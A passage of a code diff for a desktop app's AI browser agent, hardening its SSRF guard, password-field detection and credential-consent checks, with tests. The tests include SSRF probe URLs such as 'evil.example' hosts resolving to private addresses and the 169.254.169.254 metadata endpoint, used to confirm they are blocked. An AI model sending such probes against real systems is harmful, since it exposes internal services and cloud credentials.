const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
let active = document.activeElement as HTMLElement | null
@@ -463,7 +551,57 @@ export function activeElementSecrecy(): string {
active = shadow.activeElement as HTMLElement
continue
}
if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
// A CLOSED shadow root reports `shadowRoot === null` by design and cannot
// be traversed from script, while focus inside it retargets to the HOST —
// whose tagName is never INPUT, so the fallthrough below would call it
// 'safe' and let a trusted CDP keystroke land on a password field the page
// has hidden from us. Sequential focus navigation crosses closed boundaries
// natively, so Tab alone is enough to get there. Treated like a
// cross-origin frame: not inspectable is not safe.
//
// Detected by focusability rather than by tag: `attachShadow` accepts plain
// div/span/section as well as custom elements, so a tag test would miss
// half of them. An element that is not focusable in its own right cannot be
// `activeElement` unless focus was retargeted out of a shadow tree, which
// makes "not focusable yet focused" the reliable signal. Frames stay out of
// it so the branch below still classifies them.
// Tag compared upper-cased: tagName preserves case outside the HTML
// namespace and is lower-case for HTML elements in an XHTML document, where
// every comparison below would otherwise miss.
const tag = String(active.tagName || '').toUpperCase()
// RESIDUAL, stated rather than papered over: `tabindex` and
// `contenteditable` exempt an element even on a shadow-capable tag, so a
// host carrying either — `<div tabindex="0">` with a closed root — still
// reports 'safe'. A closed root is indistinguishable from no root at all
// (that is what `mode: 'closed'` buys the page), and `<div tabindex="0">`
// buttons and menu items are everywhere, so refusing them would block Enter
// and Space on ordinary pages to close a targeted case. The only reliable
// detector is `attachShadow` throwing, which is destructive. Narrowing this
// needs the driver to stop trusting a page-derived signal, not a better
// guess here.
const FOCUSABLE_TAGS = [
'INPUT',
'TEXTAREA',
'SELECT',
'BUTTON',
'A',
'AREA',
'SUMMARY',
'DIALOG',
'VIDEO',
'AUDIO',
'EMBED',
'OBJECT',
'IFRAME',
'FRAME',
]
const focusableItself =
active === active.ownerDocument.body ||
active.isContentEditable ||
active.hasAttribute('tabindex') ||
FOCUSABLE_TAGS.indexOf(tag) !== -1
if (!shadow && !focusableItself) return 'opaque'
if (tag === 'IFRAME' || tag === 'FRAME') {
let inner: Document | null = null
try {
inner = (active as HTMLIFrameElement).contentDocument
@@ -484,10 +622,12 @@ export function activeElementSecrecy(): string {
export function typeIntoElement(id: number, text: string, submit: boolean): unknown {
const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
const el = (window.__simAgentElements || [])[id]
@@ -554,10 +694,12 @@ export function pressKeyOnPage(
alt: boolean
): unknown {
const isSecretField = (node: Element | null): boolean => {
if (!node || node.tagName !== 'INPUT') return false
if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
return hint === 'current-password' || hint === 'new-password'
return hint
.split(/\s+/)
.some((token) => token === 'current-password' || token === 'new-password')
}
const target = (document.activeElement as HTMLElement | null) ?? document.body
+48 -7
View File
@@ -25,7 +25,13 @@ import {
panelWindow,
} from '@/main/browser-agent/panel'
import { registerAgentWebContents } from '@/main/browser-agent/registry'
import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard'
import {
checkAgentUrl,
clearHostVerdictCache,
isBlockedRequestUrl,
isBlockedSubresourceUrl,
subresourceNeedsResolution,
} from '@/main/browser-agent/url-guard'
const logger = createLogger('BrowserAgentSession')
@@ -297,26 +303,53 @@ function configureAgentPartition(ses: Session): void {
// iframes) get the full DNS-resolving check — the one seam every navigation
// passes through, including page-initiated ones the driver never sees (server
// redirects, link clicks, location.href, meta-refresh) — so an internal host
// can't slip in that way. Subresources take the cheap synchronous literal-IP
// backstop instead of a DNS lookup per asset.
// can't slip in that way.
//
// Subresources that come back readable or that execute get the resolving
// check too, cached per host; images and fonts keep the cheap synchronous
// path. See isBlockedSubresourceUrl and subresourceNeedsResolution for why
// each way round.
ses.webRequest.onBeforeRequest((details, callback) => {
// Answered exactly once, and never throwing. A throw inside the `then`
// below would otherwise land in the `catch` and answer a second time, and
// by the time an async check settles the request's loader may be gone —
// now the case for most subresources, not just the odd navigation.
let settled = false
const settle = (cancel: boolean) => {
if (settled) return
settled = true
try {
callback({ cancel })
} catch (error) {
logger.warn('Could not answer an agent request', { error: getErrorMessage(error) })
}
}
if (details.resourceType === 'mainFrame' || details.resourceType === 'subFrame') {
void checkAgentUrl(details.url)
.then((guard) => {
if (!guard.ok) {
logger.warn('Blocked agent document navigation to a private host')
}
callback({ cancel: !guard.ok })
settle(!guard.ok)
})
.catch((error) => {
// Fail closed: an unexpected rejection must cancel, never leave the
// request suspended with no callback.
logger.error('Agent SSRF check failed; cancelling request', { error })
callback({ cancel: true })
settle(true)
})
return
}
callback({ cancel: isBlockedRequestUrl(details.url) })
if (!subresourceNeedsResolution(details.resourceType)) {
settle(isBlockedRequestUrl(details.url))
return
}
void isBlockedSubresourceUrl(details.url)
.then((blocked) => settle(blocked))
.catch((error) => {
logger.error('Agent subresource SSRF check failed; cancelling request', { error })
settle(true)
})
})
ses.on('will-download', (_event, item) => {
const filename = item.getFilename()
@@ -1044,6 +1077,9 @@ export function closeSession(): void {
* pinned tabs, or browsing trail.
*/
export async function clearProfileStorage(): Promise<void> {
// Cached DNS verdicts are part of the browsing trail: without this a wipe
// leaves up to the TTL of resolved-host classifications behind.
clearHostVerdictCache()
closeLiveTabs()
// Stays true so a later restore cannot re-read the list being erased here.
pinnedTabsRestored = true
@@ -1090,7 +1126,12 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise
if (storages.length > 0) {
await ses.clearStorageData({ storages } as Parameters<Session['clearStorageData']>[0])
}
if (kinds.includes('cache')) await ses.clearCache()
if (kinds.includes('cache')) {
await ses.clearCache()
// Resolved-host verdicts are a cache too, and a user clearing the cache
// means all of it.
clearHostVerdictCache()
}
}
export function listTabs(): BrowserTabState[] {
@@ -2,11 +2,19 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
const { mockLookup } = vi.hoisted(() => ({ mockLookup: vi.fn() }))
// The real resolveHostAddresses runs; only the resolver under it is mocked, so
// its deadline and all-addresses behaviour stay covered here.
vi.mock('node:dns/promises', () => ({
default: { lookup: mockLookup },
}))
import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard'
import {
checkAgentUrl,
clearHostVerdictCache,
isBlockedRequestUrl,
isBlockedSubresourceUrl,
subresourceNeedsResolution,
} from '@/main/browser-agent/url-guard'
describe('checkAgentUrl', () => {
beforeEach(() => {
@@ -120,3 +128,148 @@ describe('isBlockedRequestUrl', () => {
expect(isBlockedRequestUrl('::::')).toBe(false)
})
})
describe('isBlockedSubresourceUrl', () => {
beforeEach(() => {
vi.clearAllMocks()
clearHostVerdictCache()
mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
})
it('blocks a public hostname whose A record points at a private address', async () => {
mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
await expect(isBlockedSubresourceUrl('https://10-0-0-5.evil.example/probe.json')).resolves.toBe(
true
)
})
it('catches what the synchronous literal-IP backstop cannot', async () => {
mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
const url = 'https://10-0-0-5.evil.example/probe.json'
// The gap this guard exists to close: the sync check only sees literals, so
// a hostname with a private A record sailed through it.
expect(isBlockedRequestUrl(url)).toBe(false)
await expect(isBlockedSubresourceUrl(url)).resolves.toBe(true)
})
it('blocks a websocket to a privately-resolving host', async () => {
mockLookup.mockResolvedValue([{ address: '172.16.4.4', family: 4 }])
await expect(isBlockedSubresourceUrl('ws://internal.evil.example/socket')).resolves.toBe(true)
})
it('allows a hostname that resolves publicly', async () => {
await expect(isBlockedSubresourceUrl('https://example.com/app.js')).resolves.toBe(false)
})
it('blocks IPv6-mapped and link-local literals without resolving', async () => {
await expect(isBlockedSubresourceUrl('http://169.254.169.254/latest/meta-data')).resolves.toBe(
true
)
await expect(isBlockedSubresourceUrl('http://[::ffff:10.0.0.5]/x')).resolves.toBe(true)
expect(mockLookup).not.toHaveBeenCalled()
})
it('keeps the deliberate loopback carve-out', async () => {
await expect(isBlockedSubresourceUrl('http://127.0.0.1:3000/x')).resolves.toBe(false)
expect(mockLookup).not.toHaveBeenCalled()
})
it('re-resolves once the verdict expires', async () => {
vi.useFakeTimers()
try {
await isBlockedSubresourceUrl('https://example.com/a.js')
expect(mockLookup).toHaveBeenCalledTimes(1)
await vi.advanceTimersByTimeAsync(30_001)
mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
await expect(isBlockedSubresourceUrl('https://example.com/a.js')).resolves.toBe(true)
expect(mockLookup).toHaveBeenCalledTimes(2)
} finally {
vi.useRealTimers()
}
})
it('caches a blocked verdict too, not only an allowed one', async () => {
mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
await expect(isBlockedSubresourceUrl('https://internal.example/a.js')).resolves.toBe(true)
await expect(isBlockedSubresourceUrl('https://internal.example/b.js')).resolves.toBe(true)
expect(mockLookup).toHaveBeenCalledTimes(1)
})
it('shares one lookup across concurrent requests to the same host', async () => {
// Sequential calls would pass on the result cache alone; a page issues these
// in parallel, and one getaddrinfo per request saturates the libuv pool.
await Promise.all([
isBlockedSubresourceUrl('https://example.com/a.js'),
isBlockedSubresourceUrl('https://example.com/b.js'),
isBlockedSubresourceUrl('https://example.com/c.js'),
isBlockedSubresourceUrl('wss://example.com/socket'),
])
expect(mockLookup).toHaveBeenCalledTimes(1)
})
it('treats a trailing-dot host as the same host', async () => {
await isBlockedSubresourceUrl('https://example.com/a.js')
await isBlockedSubresourceUrl('https://example.com./b.js')
expect(mockLookup).toHaveBeenCalledTimes(1)
})
it('resolves a host once and reuses the verdict', async () => {
await isBlockedSubresourceUrl('https://example.com/a.js')
await isBlockedSubresourceUrl('https://example.com/b.js')
await isBlockedSubresourceUrl('https://example.com/c.js')
expect(mockLookup).toHaveBeenCalledTimes(1)
})
it('fails closed when the host does not resolve, without caching that', async () => {
mockLookup.mockRejectedValueOnce(new Error('ENOTFOUND'))
await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(true)
mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(false)
})
it('ignores a malformed url rather than blocking every request', async () => {
await expect(isBlockedSubresourceUrl('not a url')).resolves.toBe(false)
})
it('bounds the verdict cache', async () => {
for (let i = 0; i < 300; i++) {
await isBlockedSubresourceUrl(`https://host-${i}.example/a.js`)
}
mockLookup.mockClear()
// The earliest hosts were evicted, so they resolve again; the newest do not.
await isBlockedSubresourceUrl('https://host-0.example/a.js')
await isBlockedSubresourceUrl('https://host-299.example/a.js')
expect(mockLookup).toHaveBeenCalledTimes(1)
})
})
describe('subresourceNeedsResolution', () => {
it('exempts only the high-volume, non-readable types', () => {
expect(subresourceNeedsResolution('image')).toBe(false)
expect(subresourceNeedsResolution('font')).toBe(false)
})
it('checks every type that is readable or executes', () => {
for (const type of ['xhr', 'webSocket', 'media', 'script', 'stylesheet', 'object', 'ping']) {
expect(subresourceNeedsResolution(type)).toBe(true)
}
})
it('checks an unrecognised label rather than exempting it', () => {
// fetch is `xhr` on some Chromium versions and `other` on others; a label
// this code has never heard of must not be the one that skips the check.
expect(subresourceNeedsResolution('other')).toBe(true)
expect(subresourceNeedsResolution('someFutureType')).toBe(true)
})
})
+157 -42
View File
@@ -1,5 +1,5 @@
import dns from 'node:dns/promises'
import { createLogger } from '@sim/logger'
import { resolveHostAddresses } from '@sim/security/dns'
import {
isIpLiteral,
isLoopbackIp,
@@ -12,31 +12,6 @@ import { parseHttpUrl } from '@/main/navigation'
const logger = createLogger('BrowserAgentUrlGuard')
/** Hard deadline on the SSRF DNS lookup so a slow/hung resolver can't suspend
* the check — and the onBeforeRequest callback that awaits it — indefinitely.
* A timeout rejects, which fails closed (blocks) via the caller's catch. */
const DNS_TIMEOUT_MS = 5_000
/** dns.lookup bounded by {@link DNS_TIMEOUT_MS}; the timer is always cleared so a
* won race never leaves a dangling rejection. */
async function resolveHost(host: string) {
const lookup = dns.lookup(host, { all: true, verbatim: true })
// If the timeout wins the race the lookup stays pending; swallow its eventual
// settlement so a late rejection can't surface as an unhandled rejection.
lookup.catch(() => {})
let timer: NodeJS.Timeout | undefined
try {
return await Promise.race([
lookup,
new Promise<never>((_, reject) => {
timer = setTimeout(() => reject(new Error('DNS lookup timed out')), DNS_TIMEOUT_MS)
}),
])
} finally {
clearTimeout(timer)
}
}
export interface UrlGuardResult {
ok: boolean
error?: string
@@ -44,6 +19,25 @@ export interface UrlGuardResult {
const OK: UrlGuardResult = { ok: true }
/**
* A URL's host in the one form every guard here compares against.
*
* IPv6 brackets are unwrapped so the address classifiers see a bare address,
* and a trailing dot is dropped — it is a legal absolute name that resolves the
* same, so leaving it on would let `intranet.` and `intranet` be judged and
* cached as two different hosts. Null when the URL does not parse or carries no
* host, which every caller treats as nothing to block.
*/
function guardHost(rawUrl: string): string | null {
let hostname: string
try {
hostname = new URL(rawUrl).hostname
} catch {
return null
}
return unwrapIpv6Brackets(hostname).replace(/\.$/, '') || null
}
/**
* Whether an address is off limits to the embedded browser.
*
@@ -91,7 +85,10 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
return { ok: false, error: 'URL must be absolute and start with http:// or https://' }
}
const host = unwrapIpv6Brackets(url.hostname)
const host = guardHost(url.href)
if (!host) {
return { ok: false, error: 'That address has no host to check.' }
}
// IP literal: classify directly, no DNS lookup needed.
if (isIpLiteral(host)) {
@@ -103,8 +100,8 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
}
try {
const resolved = await resolveHost(host)
if (resolved.some(({ address }) => isBlockedAddress(address))) {
const { addresses } = await resolveHostAddresses(host)
if (addresses.some((address) => isBlockedAddress(address))) {
logger.warn('Blocked agent navigation resolving to private IP', { host })
return BLOCKED
}
@@ -121,21 +118,139 @@ export async function checkAgentUrl(rawUrl: string): Promise<UrlGuardResult> {
return OK
}
/**
* Subresource types that keep the cheap synchronous literal-IP check.
*
* Images and fonts are the high-volume types and are not readable
* cross-origin, so the residual for them is a load/error timing oracle — a
* documented, accepted trade against a DNS lookup per asset.
*/
const LITERAL_ONLY_RESOURCE_TYPES: ReadonlySet<string> = new Set(['image', 'font'])
/**
* Whether a subresource needs the DNS-resolving check rather than the literal-IP
* backstop.
*
* Expressed as what is exempt rather than what is checked, so a resource type
* Chromium labels differently than expected fails safe into the checked path —
* `fetch` surfaces as `xhr` or `other` depending on version, and an allowlist
* that missed the label in use would silently reopen the hole.
*/
export function subresourceNeedsResolution(resourceType: string): boolean {
return !LITERAL_ONLY_RESOURCE_TYPES.has(resourceType)
}
/**
* How long a host's resolved classification is reused. Deliberately short: a
* DNS rebind should not stay authorized past roughly the life of a page view.
*/
const HOST_VERDICT_TTL_MS = 30_000
/**
* Ceiling on the cache. A hostile page can name unlimited hostnames, so this is
* bounded rather than left to grow.
*/
const MAX_HOST_VERDICTS = 256
/**
* The in-flight or settled verdict per host.
*
* The promise is cached, not the boolean, so the requests a single page load
* fires at one host share one lookup. Caching only the result left every
* request that arrived before the first lookup settled to start its own, and
* `dns.lookup` is `getaddrinfo` on the libuv threadpool — four slots by
* default, shared with every `fs` call in the main process. A page naming a few
* hundred hostnames could then queue hundreds of blocking jobs, each up to the
* resolver deadline, and stall unrelated work like the settings write or the
* credential vault.
*/
const hostVerdicts = new Map<string, { verdict: Promise<boolean>; expiry: number }>()
function rememberHostVerdict(host: string, verdict: Promise<boolean>): void {
if (hostVerdicts.size >= MAX_HOST_VERDICTS) {
// Expired entries first: at capacity the queue can be full of dead ones,
// and evicting those before a live entry keeps a hot host resident while a
// hostile page churns through hostnames.
const now = Date.now()
for (const [host, entry] of hostVerdicts) {
if (now >= entry.expiry) hostVerdicts.delete(host)
}
if (hostVerdicts.size >= MAX_HOST_VERDICTS) {
const oldest = hostVerdicts.keys().next()
if (!oldest.done) hostVerdicts.delete(oldest.value)
}
}
// Deleted first so a refreshed host moves to the back of the eviction queue
// rather than keeping its original slot and being dropped while still hot.
hostVerdicts.delete(host)
hostVerdicts.set(host, { verdict, expiry: Date.now() + HOST_VERDICT_TTL_MS })
}
/** Drops every cached host classification. */
export function clearHostVerdictCache(): void {
hostVerdicts.clear()
}
/**
* DNS-resolving guard for the agent partition's readable and executable
* subresources.
*
* {@link isBlockedRequestUrl} only sees literal IPs, so a public hostname whose
* A record points at an RFC1918 or link-local address reached internal services
* from a page the agent was steered to — no rebinding needed, a static record
* was enough. The vectors that matter are the ones where the response comes
* back or runs: `new WebSocket('ws://internal/…')` reads data frames
* cross-origin because internal servers commonly ignore `Origin`, and a script
* or xhr response either executes in the page or is readable.
*
* Fails closed on a resolver error, for the same reason {@link checkAgentUrl}
* does: an unresolved host cannot be confirmed public, and Chromium resolves
* independently. That verdict is not cached, so a transient failure does not
* stick.
*/
export async function isBlockedSubresourceUrl(rawUrl: string): Promise<boolean> {
const host = guardHost(rawUrl)
if (!host) return false
if (isIpLiteral(host)) return isBlockedAddress(host)
const cached = hostVerdicts.get(host)
if (cached && Date.now() < cached.expiry) return cached.verdict
const verdict = resolveHostAddresses(host)
.then(({ addresses }) => {
const blocked = addresses.some((address) => isBlockedAddress(address))
if (blocked) {
logger.warn('Blocked agent subresource resolving to private IP', { host })
}
return blocked
})
.catch((error) => {
logger.warn('Agent subresource host did not resolve; blocking', {
host,
error: getErrorMessage(error),
})
// Dropped rather than cached: a resolver hiccup must not block this host
// for the rest of the window.
hostVerdicts.delete(host)
return true
})
rememberHostVerdict(host, verdict)
return verdict
}
/**
* Synchronous backstop for the agent partition's `onBeforeRequest`: blocks any
* request whose host is a **literal** private/reserved IP. This is cheap enough
* to run per-request and catches redirects and subresources that target the
* metadata endpoint or an internal IP directly, without the cost of a DNS
* lookup on every subresource. Hostnames pass here (they are classified at
* navigation time by {@link checkAgentUrl}).
* request whose host is a **literal** private/reserved IP. Cheap enough to run
* per-request, and it catches redirects and subresources that target the
* metadata endpoint or an internal IP directly.
*
* Hostnames pass here. They are classified by {@link checkAgentUrl} for document
* navigations and by {@link isBlockedSubresourceUrl} for every subresource type
* except the ones {@link subresourceNeedsResolution} exempts, which are the only
* requests still relying on this alone.
*/
export function isBlockedRequestUrl(rawUrl: string): boolean {
try {
// isPrivateIpHost strips IPv6 brackets itself; unwrap again for the
// loopback carve-out, which takes a bare address.
const host = new URL(rawUrl).hostname
return isPrivateIpHost(host) && !isLoopbackIp(unwrapIpv6Brackets(host))
} catch {
return false
}
const host = guardHost(rawUrl)
if (!host) return false
return isPrivateIpHost(host) && !isLoopbackIp(host)
}
@@ -89,6 +89,7 @@ export async function forgetAllCredentials(): Promise<BrowserCredentialMetadata[
export async function revealCredential(id: string): Promise<string | null> {
const authorized = await authorizeForSecret({
credentialId: id,
operation: 'reveal',
reason: 'show a saved password',
action: 'Show password',
})
@@ -106,6 +107,7 @@ export async function revealCredential(id: string): Promise<string | null> {
export async function copyCredential(id: string): Promise<boolean> {
const authorized = await authorizeForSecret({
credentialId: id,
operation: 'copy',
reason: 'copy a saved password',
action: 'Copy password',
})
@@ -43,7 +43,22 @@ function setPlatform(platform: NodeJS.Platform): void {
}
function request(credentialId: string) {
return { credentialId, reason: 'show a saved password', action: 'Show password' }
return {
credentialId,
operation: 'reveal' as const,
reason: 'show a saved password',
action: 'Show password',
}
}
/** The weaker of the two operations: plaintext never leaves the main process. */
function copyRequest(credentialId: string) {
return {
credentialId,
operation: 'copy' as const,
reason: 'copy a saved password',
action: 'Copy password',
}
}
describe('authorizeForSecret', () => {
@@ -110,6 +125,54 @@ describe('authorizeForSecret', () => {
expect(promptTouchID).toHaveBeenCalledTimes(2)
})
it('never lets a copy consent stand in for a plaintext reveal', async () => {
await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true)
expect(promptTouchID).toHaveBeenCalledTimes(1)
// The user approved "Copy password?"; revealing hands the string to the
// renderer, so it has to ask again rather than ride the copy grant.
await expect(authorizeForSecret(request('c1'))).resolves.toBe(true)
expect(promptTouchID).toHaveBeenCalledTimes(2)
})
it('never lets a reveal consent stand in for a copy either', async () => {
await expect(authorizeForSecret(request('c1'))).resolves.toBe(true)
expect(promptTouchID).toHaveBeenCalledTimes(1)
// Copying publishes the plaintext to the pasteboard, where other processes
// and Universal Clipboard can reach it — an exposure "Show password?" never
// described, so it asks again.
await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true)
expect(promptTouchID).toHaveBeenCalledTimes(2)
})
it('does not re-prompt for an operation already proven in the window', async () => {
// reveal -> copy -> reveal: each is proven independently, so the third call
// rides the first grant instead of asking a third time.
await authorizeForSecret(request('c1'))
await authorizeForSecret(copyRequest('c1'))
await authorizeForSecret(request('c1'))
expect(promptTouchID).toHaveBeenCalledTimes(2)
})
it('revokes every operation for a credential, not just the last proven', async () => {
await authorizeForSecret(request('c1'))
await authorizeForSecret(copyRequest('c1'))
revokeSecretAuthorization('c1')
await authorizeForSecret(request('c1'))
await authorizeForSecret(copyRequest('c1'))
expect(promptTouchID).toHaveBeenCalledTimes(4)
})
it('keeps a copy grant usable for further copies', async () => {
await authorizeForSecret(copyRequest('c1'))
await authorizeForSecret(copyRequest('c1'))
expect(promptTouchID).toHaveBeenCalledTimes(1)
})
it('asks again after the credential is explicitly revoked', async () => {
await authorizeForSecret(request('c1'))
revokeSecretAuthorization('c1')
@@ -130,11 +193,7 @@ describe('authorizeForSecret', () => {
it('labels the fallback dialog with the action it is authorizing', async () => {
canPromptTouchID.mockReturnValue(false)
await authorizeForSecret({
credentialId: 'c1',
reason: 'copy a saved password',
action: 'Copy password',
})
await authorizeForSecret(copyRequest('c1'))
expect(showMessageBox).toHaveBeenCalledWith(
expect.objectContaining({
@@ -15,8 +15,28 @@ const logger = createLogger('BrowserCredentialAuth')
*/
const AUTH_GRACE_MS = 30_000
/** Credential id to the moment its proof of presence lapses. */
const provenUntil = new Map<string, number>()
/**
* What a grant was proven for.
*
* Neither operation dominates the other, so a grant satisfies only its own.
* `reveal` hands the plaintext to the Sim renderer; `copy` publishes it to the
* macOS pasteboard, which every process on the machine can read, which
* clipboard managers persist to disk beyond the 30s `clipboard.clear()`, and
* which Universal Clipboard syncs to the user's other devices. Ordering them
* either way lets one consent authorize an exposure the prompt never described.
*/
export type SecretOperation = 'reveal' | 'copy'
/**
* Proof of presence per credential AND operation.
*
* Nested rather than one scalar per credential: a single slot would be
* overwritten on each grant, so reveal → copy → reveal prompts three times
* inside one window even though each was already proven. Nesting also keeps
* revoke-by-credential a single delete, so a third operation added later cannot
* be left behind by a revoke that forgot to enumerate it.
*/
const provenUntil = new Map<string, Map<SecretOperation, number>>()
export interface SecretAuthRequest {
/**
@@ -25,17 +45,30 @@ export interface SecretAuthRequest {
* granted for.
*/
credentialId: string
/**
* What the caller is about to do. Required, because a grant that did not
* record it let the weaker consent stand in for the stronger one: approving
* a "Copy password?" prompt silently authorized a plaintext reveal to the
* renderer for the rest of the window, with no second prompt and a label
* that described something else.
*/
operation: SecretOperation
/** Completes "Sim is about to ..." in the prompt. */
reason: string
/** Confirm-button label and title for the non-biometric fallback. */
action: string
}
function hasFreshProof(credentialId: string): boolean {
const expiry = provenUntil.get(credentialId)
function hasFreshProof(credentialId: string, operation: SecretOperation): boolean {
const grants = provenUntil.get(credentialId)
const expiry = grants?.get(operation)
if (expiry === undefined) return false
if (Date.now() >= expiry) {
provenUntil.delete(credentialId)
// Also lapsed when the remaining time exceeds the whole window, which is what
// a backwards clock step looks like — otherwise a corrected clock would leave
// a grant standing far longer than it was granted for.
const remaining = expiry - Date.now()
if (remaining <= 0 || remaining > AUTH_GRACE_MS) {
grants?.delete(operation)
return false
}
return true
@@ -73,12 +106,15 @@ export function revokeSecretAuthorization(credentialId?: string): void {
*/
export async function authorizeForSecret({
credentialId,
operation,
reason,
action,
}: SecretAuthRequest): Promise<boolean> {
if (hasFreshProof(credentialId)) return true
if (hasFreshProof(credentialId, operation)) return true
if (!(await promptForSecret(reason, action))) return false
provenUntil.set(credentialId, Date.now() + AUTH_GRACE_MS)
const grants = provenUntil.get(credentialId) ?? new Map<SecretOperation, number>()
grants.set(operation, Date.now() + AUTH_GRACE_MS)
provenUntil.set(credentialId, grants)
return true
}
+50
View File
@@ -4,8 +4,10 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import {
type AuthFlowDeps,
buildRedeemScript,
type ConnectHandoffCallback,
createAuthFlow,
createHandoffManager,
type HandoffCallback,
type HandoffCallbacks,
@@ -270,3 +272,51 @@ describe('connect handoff account pinning', () => {
manager.clear()
})
})
describe('createAuthFlow window failures', () => {
function makeAuthDeps(ensureMainWindow: () => Promise<never>) {
const events = makeEvents()
return {
deps: {
handoff: {
begin: vi.fn(async () => true),
consume: vi.fn(() => true),
} as unknown as AuthFlowDeps['handoff'],
origin: () => 'https://sim.ai',
events,
ensureMainWindow,
} satisfies AuthFlowDeps,
events,
}
}
it('records rather than rejects when no window can be opened for the callback', async () => {
const { deps, events } = makeAuthDeps(async () => {
throw new Error('Main window unavailable')
})
const flow = createAuthFlow(deps)
await expect(
flow.handleCallback({ state: VALID_STATE, token: VALID_TOKEN } as HandoffCallback)
).resolves.toBeUndefined()
expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', {
reason: 'callback_window',
error: 'Main window unavailable',
})
expect(deps.handoff.consume).not.toHaveBeenCalled()
})
it('records rather than rejects when no window can be opened to report a failed begin', async () => {
const { deps, events } = makeAuthDeps(async () => {
throw new Error('Main window unavailable')
})
deps.handoff.begin = vi.fn(async () => false)
const flow = createAuthFlow(deps)
await expect(flow.beginLoginHandoff()).resolves.toBeUndefined()
expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', {
reason: 'begin_window',
error: 'Main window unavailable',
})
})
})
+27 -2
View File
@@ -2,6 +2,7 @@ import type { Server } from 'node:http'
import { createServer } from 'node:http'
import { createLogger } from '@sim/logger'
import { safeCompare } from '@sim/security/compare'
import { getErrorMessage } from '@sim/utils/errors'
import { generateShortId } from '@sim/utils/id'
import type { BrowserWindow } from 'electron'
import { app, dialog } from 'electron'
@@ -364,6 +365,28 @@ export interface AuthFlow {
* back on /login.
*/
export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
/**
* The main window, or null when one cannot be obtained.
*
* Both entry points below are dispatched fire-and-forget from index.ts, and
* the wired `ensureMainWindow` throws when no window can be created or
* restored — which is reachable if the user closed the window while signing
* in through their browser. With no global `unhandledRejection` handler in
* main, letting that escape turned it into an unhandled rejection raised from
* the loopback callback. Recorded rather than swallowed: a sign-in that
* cannot present itself is exactly what the event log is for.
*/
const resolveWindow = async (reason: string): Promise<BrowserWindow | null> => {
try {
return await deps.ensureMainWindow()
} catch (error) {
const message = getErrorMessage(error, 'Main window unavailable')
deps.events.record('handoff_redeem_fail', { reason, error: message })
logger.error('No window available for the sign-in handoff', { reason, error: message })
return null
}
}
const failInWindow = async (win: BrowserWindow, reason: string, status?: number) => {
deps.events.record(
'handoff_redeem_fail',
@@ -383,7 +406,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
async beginLoginHandoff() {
const opened = await deps.handoff.begin()
if (!opened) {
const win = await deps.ensureMainWindow()
const win = await resolveWindow('begin_window')
if (!win) return
void dialog.showMessageBox(win, {
type: 'error',
message: 'Couldnt start sign-in',
@@ -392,7 +416,8 @@ export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
}
},
async handleCallback(callback: HandoffCallback) {
const win = await deps.ensureMainWindow()
const win = await resolveWindow('callback_window')
if (!win) return
if (!deps.handoff.consume(callback.state, 'login')) {
await failInWindow(win, 'state')
return
+13 -2
View File
@@ -1,5 +1,6 @@
import { join } from 'node:path'
import { createLogger } from '@sim/logger'
import { getErrorMessage } from '@sim/utils/errors'
import type { Session, WebContents } from 'electron'
import { app, BrowserWindow, crashReporter, net, session } from 'electron'
import { newChatRoute, settingsRoute } from '@/main/app-routes'
@@ -55,6 +56,16 @@ import { attachWindowOpenPolicy, isPopupContents } from '@/main/windows'
const logger = createLogger('DesktopMain')
/**
* Backstop for the sign-in flows, which are dispatched fire-and-forget from a
* loopback callback and a navigation guard. The flows record their own expected
* failures; this catches anything they do not, so a rejection cannot surface as
* an unhandled one — main registers no `unhandledRejection` handler.
*/
function reportHandoffFailure(error: unknown): void {
logger.error('Sign-in handoff failed', { error: getErrorMessage(error) })
}
const OFFLINE_PAGE = 'static/offline.html'
const DOCK_ICON_FOR_CHANNEL = {
prod: 'dock-icon.png',
@@ -138,7 +149,7 @@ function main(): void {
currentUserId: () => readSessionUserId(ensureAppSession(), appOrigin()),
},
{
onLogin: (callback) => void authFlow.handleCallback(callback),
onLogin: (callback) => void authFlow.handleCallback(callback).catch(reportHandoffFailure),
onConnect: (callback) => connectFlow.handleCallback(callback),
}
)
@@ -173,7 +184,7 @@ function main(): void {
isPackaged: app.isPackaged,
allowHttpLocalhost,
isPopupContents,
